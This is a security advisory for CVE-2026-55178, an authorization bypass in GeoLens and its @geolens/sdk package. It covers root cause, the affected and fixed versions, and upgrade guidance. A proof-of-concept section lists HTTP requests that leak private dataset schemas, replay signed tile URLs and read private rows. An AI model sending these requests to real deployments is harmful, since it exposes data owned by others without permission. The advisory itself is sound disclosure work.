high · 7.5CVE-2026-55178Aug 18, 2026

CVE-2026-55178: GeoLens Cross-Dataset Authorization Bypass

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

Six endpoints in GeoLens checked access for the resource in the URL but never re-checked a second dataset they silently read through, letting anonymous callers dump private map metadata, vector…

Package@geolens/sdk
Ecosystemnpm
Affected< 1.2.3
Fixed in1.2.3
CVE-2026-55178: GeoLens Cross-Dataset Authorization Bypass

The problem

Every vulnerable endpoint followed the same broken pattern: authorize resource A named in the URL, then read data from dataset B (a layer, a relationship target, a VRT source, an AI prompt input) with no second authorization check on B.

Three of the six findings require zero authentication. An anonymous caller can hit a public map to leak a private dataset's schema and replay a signed tile URL to read its actual vector features. They can also walk a dataset relationship to read private table rows, or pass any dataset UUID to the OGC externalId endpoint to dump its full catalog record.

Two more findings need only the default editor role that any self-service signup receives.

Proof of concept

A working proof-of-concept for CVE-2026-55178 in @geolens/sdk, with the exact payload below.

http
# 1. Anonymous: dump private dataset metadata + replay vector tiles via public map
# Step 1 - read the map (authorized). Response leaks private dataset schema inside layers[].
GET /api/maps/{public_map_id}/style.json HTTP/1.1
Host: geolens.example.com

# style.json response embeds a signed tile URL like:
# "tiles": ["https://geolens.example.com/api/datasets/{private_dataset_id}/tiles/{z}/{x}/{y}.mvt?sig=<HMAC>"]

# Step 2 - replay the signature to read private vector tiles (no auth header needed)
GET /api/datasets/{private_dataset_id}/tiles/14/8234/5412.mvt?sig=<HMAC_from_style_json> HTTP/1.1
Host: geolens.example.com

# 2. Anonymous: dump any private dataset's OGC catalog record by UUID
GET /api/collections/datasets/items?externalId={private_dataset_uuid} HTTP/1.1
Host: geolens.example.com

# 3. Anonymous: read rows from a private dataset via a public dataset relationship
# Step 1 - list relationships on a public dataset (no auth needed)
GET /api/datasets/{public_dataset_id}/relationships HTTP/1.1
Host: geolens.example.com
# Response reveals relationship_id and private target dataset id/title

# Step 2 - read rows from the private target
GET /api/datasets/{public_dataset_id}/relationships/{relationship_id}/records HTTP/1.1
Host: geolens.example.com

# 4. Authenticated editor: leak any dataset's schema + sample values via AI metadata
POST /api/ai/metadata/summary HTTP/1.1
Host: geolens.example.com
Authorization: Bearer <editor_token>
Content-Type: application/json

{"dataset_id": "{private_dataset_uuid}"}

The root cause is CWE-639 (authorization via caller-controlled key) combined with CWE-862 (missing authorization). Each handler called can_access_dataset or check_dataset_access_or_anonymous only on the primary URL resource, then passed a second dataset identifier, pulled from a relationship FK, a map layer list, a request body field, or a VRT member list, directly into database or tile queries without repeating the access check on that second dataset.

The HMAC tile signature (finding 1) was bound to neither a user identity nor the specific map, making it a permanent replayable credential for the private dataset. The OGC externalId handler (finding 3, PR #236) simply omitted the user context from the dataset lookup entirely.

The AI metadata endpoints (finding 5, PR #238) trusted dataset_id from the POST body and gated only on the use_ai_chat permission, not on whether the caller could see the named dataset. The patches add the standard per-dataset re-authorization call at every read path and authorize cross-dataset references (VRT sources, relationship targets) at link/write time rather than deferring to read time.

The fix

Upgrade to GeoLens 1.2.3. All six bypass paths are closed by commits 31a103b9, 01bc87da, 407c0688, 2c031da8, and 07dfb1c6. Upgrade the full stack together: container image ghcr.io/geolens-io/geolens-api:1.2.3, Python package geolens==1.2.3, CLI geolens-cli==1.2.3, and npm @geolens/sdk@1.2.3.

There is no configuration workaround; restricting network exposure reduces risk but does not close the authenticated findings.

Reporter not attributed.

References: [1][2][3][4][5][6]

Related research